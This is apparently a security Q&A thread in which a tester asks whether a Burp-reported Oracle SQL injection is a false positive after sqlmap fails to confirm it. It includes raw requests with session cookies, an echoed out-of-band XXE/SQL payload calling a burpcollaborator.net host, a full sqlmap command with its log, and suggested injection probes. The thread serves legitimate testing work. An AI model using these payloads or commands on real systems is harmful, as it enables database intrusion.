1

Burp suggests me that an application has an SQL injection point. First request:

GET /restrict/menuApc.do?MVPG=ApcAssistitoTSRicercaPre&ASSISTITO_ID=*SRVZOSA40002294'&s_ELIMINATI=1&s_TIPO_ASSISTITO=&s_ASSISTITO=giovanni&s_TIPO_SOGGETTO=1 HTTP/1.1
Host: test-as01:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://test-as01:8080/restrict/menuApc.do?MVPG=ApcAssistitiRicerca&s_ELIMINATI=1&s_TIPO_ASSISTITO=&s_ASSISTITO=giovanni&s_TIPO_SOGGETTO=1
Cookie: JSESSIONID=93A180A302C01AB1B387914B6EEF3639.test; JSESSIONIDSSO=D327785D2D903AAAD7E83CD2406BC3E8

First response (only relevant part):

HTTP/1.1 200 OK
Date: Mon, 04 Mar 2019 09:53:56 GMT
Cache-Control: private
Expires: Thu, 01 Jan 1970 01:00:00 CET
Content-Type: text/html;charset=windows-1252
Connection: close
Content-Length: 12467

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>

</head>
<body>

Form: AssisitoTSRicerca<br>Errors:<br>ORA-06502: PL/SQL: errore : character string buffer too small di numero o valore<br><br>Dettaglio istruzione SQL:<br>ORA-06502: PL/SQL: errore : character string buffer too small di numero o valore<br>ORA-06512: a "SA4WEB.SA4APC_CCS", line 2712<br><br>RawCommand sql='select sa4apc_ccs.get_assistito_ricerca_ts('{ASSISTITO_ID}','{Utente}','{MVURL}') ricerca_ts   from dual'<br>         where='null'<br>         order='null'<br>      countSql='SELECT COUNT(*) FROM ( select sa4apc_ccs.get_assistito_ricerca_ts('{ASSISTITO_ID}','{Utente}','{MVURL}') ricerca_ts from dual ) cnt '<br>     sqlString='select sa4apc_ccs.get_assistito_ricerca_ts('*SRVZOSA40002294''','CRDOPE','/sa4apc/restrict/menuApc.do?ccsForm=AssistitiFiltro''%7c%7c(select%20extractvalue(xmltype(''%3c%3fxml%20version%3d%221.0%22%20encoding%3d%22UTF-8%22%3f%3e%3c!DOCTYPE%20root%20[%20%3c!ENTITY%20%25%20fvfvz%20SYSTEM%20%22http%3a%2f%2faq4lz51njd8q7f3n873myjtl4ca41s5gw3mrb.burpcollab''%7c%7c''orator.net%2f%22%3e%25fvfvz%3b]%3e'')%2c''%2fl'')%20from%20dual)%7c%7c''&MVPG=ApcAssistitiRicercaAvanzata') ricerca_ts   from dual'<br>      startPos='1'<br>     fetchSize='1'<br>    connection='cn'<br>Parameters:<br>param1 paramName: ASSISTITO_ID : *SRVZOSA40002294' type: java.lang.String<br>param2 paramName: MVURL : /sa4apc/restrict/menuApc.do?ccsForm=AssistitiFiltro'%7c%7c(select%20extractvalue(xmltype('%3c%3fxml%20version%3d%221.0%22%20encoding%3d%22UTF-8%22%3f%3e%3c!DOCTYPE%20root%20[%20%3c!ENTITY%20%25%20fvfvz%20SYSTEM%20%22http%3a%2f%2faq4lz51njd8q7f3n873myjtl4ca41s5gw3mrb.burpcollab'%7c%7c'orator.net%2f%22%3e%25fvfvz%3b]%3e')%2c'%2fl')%20from%20dual)%7c%7c'&MVPG=ApcAssistitiRicercaAvanzata type: java.lang.String<br>param3 paramName: Utente : CRDOPE type: java.lang.String<br>


</body>
</html>

Second request:

GET /restrict/menuApc.do?MVPG=ApcAssistitoTSRicercaPre&ASSISTITO_ID=*SRVZOSA40002294''&s_ELIMINATI=1&s_TIPO_ASSISTITO=&s_ASSISTITO=giovanni&s_TIPO_SOGGETTO=1 HTTP/1.1
Host: test-as01:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://test-as01:8080/restrict/menuApc.do?MVPG=ApcAssistitiRicerca&s_ELIMINATI=1&s_TIPO_ASSISTITO=&s_ASSISTITO=giovanni&s_TIPO_SOGGETTO=1
Cookie: JSESSIONID=93A180A302C01AB1B387914B6EEF3639.test; JSESSIONIDSSO=D327785D2D903AAAD7E83CD2406BC3E8

Second Response (normal, no ORACLE error).

This is Burp message:

The ASSISTITO_ID parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the ASSISTITO_ID parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present. The database appears to be Oracle.

This is the sqlmap command that I use:

 python sqlmap.py -u "http://test-as01:8080/sa4apc/restrict/menuApc.do?MVPG=ApcAssistitiRicerca&ASSISTITO_ID=SRVZOSA40002294&s_ELIMINATI=1&s_TIPO_ASSISTITO=&s_ASSISTITO=giovanni&s_TIPO_SOGGETTO=1" --cookie="JSESSIONID=93A180A302C01AB1B387914B6EEF3639.test; JSESSIONIDSSO=D327785D2D903AAAD7E83CD2406BC3E8" --level 5 --risk 3 --threads=3  -v 2  -p ASSISTITO_ID --dbms=oracle --batch

(note the absence of * and ' in ASSISTITO_ID) SQLmap is not able to find a SQL injection point.

Am I doing something wrong, or is that a burp false positive? SQLmap output

  [*] starting @ 14:39:58 /2019-03-04/

    [14:39:58] [DEBUG] cleaning up configuration parameters
    [14:39:58] [DEBUG] setting the HTTP timeout
    [14:39:58] [DEBUG] setting the HTTP Cookie header
    [14:39:58] [DEBUG] creating HTTP requests opener object
    [14:39:58] [DEBUG] forcing back-end DBMS to user defined value
    [14:39:58] [DEBUG] setting the HTTP Referer header to the target URL
    [14:39:58] [DEBUG] setting the HTTP Host header to the target URL
    [14:39:58] [DEBUG] provided parameter 'ASSISTITO_ID' is not inside the Cookie
    [14:39:58] [DEBUG] resolving hostname 'test-san-as01'
    [14:39:58] [INFO] testing connection to the target URL
    [14:39:59] [DEBUG] declared web page charset 'windows-1252'
    [14:39:59] [INFO] testing if the target URL content is stable
    [14:40:00] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
    how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
    [14:40:00] [DEBUG] used the default behavior, running in batch mode
    [14:40:01] [WARNING] heuristic (basic) test shows that GET parameter 'ASSISTITO_ID' might not be injectable
    [14:40:02] [INFO] heuristic (XSS) test shows that GET parameter 'ASSISTITO_ID' might be vulnerable to cross-site scripting (XSS) attacks
    [14:40:02] [INFO] testing for SQL injection on GET parameter 'ASSISTITO_ID'
    [14:40:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
    [14:40:03] [WARNING] reflective value(s) found and filtering out
    [14:42:34] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
    [14:43:51] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
    [14:46:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
    [14:48:08] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (subquery - comment)'
    [14:48:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'
    [14:49:19] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (comment)'
    [14:49:33] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - comment)'
    [14:49:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
    [14:49:59] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
    [14:50:02] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL - original value)'
    [14:50:05] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'
    [14:50:08] [INFO] testing 'Boolean-based blind - Parameter replace (CASE - original value)'
    [14:50:11] [INFO] testing 'HAVING boolean-based blind - WHERE, GROUP BY clause'
    [14:51:59] [INFO] testing 'Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
    [14:53:46] [INFO] testing 'Oracle OR boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
    [14:54:59] [INFO] testing 'Oracle boolean-based blind - Parameter replace'
    [14:55:01] [INFO] testing 'Oracle boolean-based blind - Parameter replace (original value)'
    [14:55:04] [INFO] testing 'Oracle boolean-based blind - ORDER BY, GROUP BY clause'
    [14:55:11] [INFO] testing 'Oracle boolean-based blind - ORDER BY, GROUP BY clause (original value)'
    [14:55:12] [DEBUG] setting match ratio for current parameter to 0.980
    [14:55:16] [INFO] testing 'Oracle boolean-based blind - Stacked queries'
    [14:56:29] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
    [14:57:18] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (XMLType)'
    [14:57:57] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
    [14:58:46] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
    [14:59:24] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
    [15:00:14] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
    [15:00:54] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)'
    [15:01:43] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)'
    [15:02:22] [INFO] testing 'Oracle error-based - Parameter replace'
    [15:02:23] [INFO] testing 'Oracle error-based - ORDER BY, GROUP BY clause'
    [15:02:25] [INFO] testing 'Oracle inline queries'
    [15:02:26] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
    [15:02:50] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)'
    [15:03:29] [INFO] testing 'Oracle stacked queries (heavy query - comment)'
    [15:03:52] [INFO] testing 'Oracle stacked queries (heavy query)'
    [15:04:30] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP - comment)'
    [15:04:54] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP)'
    [15:05:34] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP - comment)'
    [15:05:34] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP)'
    [15:05:34] [INFO] testing 'Oracle AND time-based blind'
    [15:06:22] [INFO] testing 'Oracle OR time-based blind'
    [15:07:10] [INFO] testing 'Oracle AND time-based blind (comment)'
    [15:07:45] [INFO] testing 'Oracle OR time-based blind (comment)'
    [15:08:19] [INFO] testing 'Oracle AND time-based blind (heavy query)'
    [15:09:07] [INFO] testing 'Oracle OR time-based blind (heavy query)'
    [15:09:55] [INFO] testing 'Oracle AND time-based blind (heavy query - comment)'
    [15:10:29] [INFO] testing 'Oracle OR time-based blind (heavy query - comment)'
    [15:11:03] [INFO] testing 'Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)'
    [15:11:04] [INFO] testing 'Oracle time-based blind - Parameter replace (DBMS_PIPE.RECEIVE_MESSAGE)'
    [15:11:05] [INFO] testing 'Oracle time-based blind - Parameter replace (heavy queries)'
    [15:11:06] [INFO] testing 'Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP)'
    [15:11:08] [INFO] testing 'Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_PIPE.RECEIVE_MESSAGE)'
    [15:11:10] [INFO] testing 'Oracle time-based blind - ORDER BY, GROUP BY clause (heavy query)'
    [15:11:12] [DEBUG] skipping test 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)' because its declared DBMS is different than provided
    [15:11:12] [DEBUG] skipping test 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' because its declared DBMS is different than provided
   ...SKIPPED TESTS...
    [15:11:12] [DEBUG] skipping test 'HSQLDB > 2.0 time-based blind - ORDER BY, GROUP BY clause (heavy query)' because its declared DBMS is different than provided
    [15:11:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
    [15:11:46] [DEBUG] setting match ratio for current parameter to 0.980
    [15:11:48] [INFO] target URL appears to be UNION injectable with 8 columns
    injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
    [15:12:21] [DEBUG] used the default behavior, running in batch mode


 [15:19:52] [WARNING] GET parameter 'ASSISTITO_ID' does not seem to be injectable
[15:19:52] [CRITICAL] all tested parameters do not appear to be injectable. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'

[*] ending @ 15:19:52 /2019-03-04/
  • 1
    Looks like a complex scenario which automated tools will struggle with. This needs detailed manual investigation to confirm if it's exploitable. I would start by injecting string concatonation sequences like '||' – PortSwigger Mar 4 at 13:42
  • @PortSwigger can you provide me an example of a ASSISTITO_ID value that I have to test with string concatenation? – ScTALE Mar 4 at 14:14
  • Perhaps *SRVZOSA4000229'||'4 - if that gets the same response as *SRVZOSA40002294 then this is definitely worth investigating further – PortSwigger Mar 4 at 15:25
  • @PortSwigger *SRVZOSA4000229'||'4- normal response, *SRVZOSA4000229'||'4 normal response, *SRVZOSA4000229'||'4 - 404 not found (there is the space between the 4 and the -), *SRVZOSA40002294 normal response. In no case I get the ORACLE error – ScTALE Mar 4 at 15:47
  • Well, it sounds exploitable. I can't say for sure without having access myself. – PortSwigger Mar 5 at 15:52

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.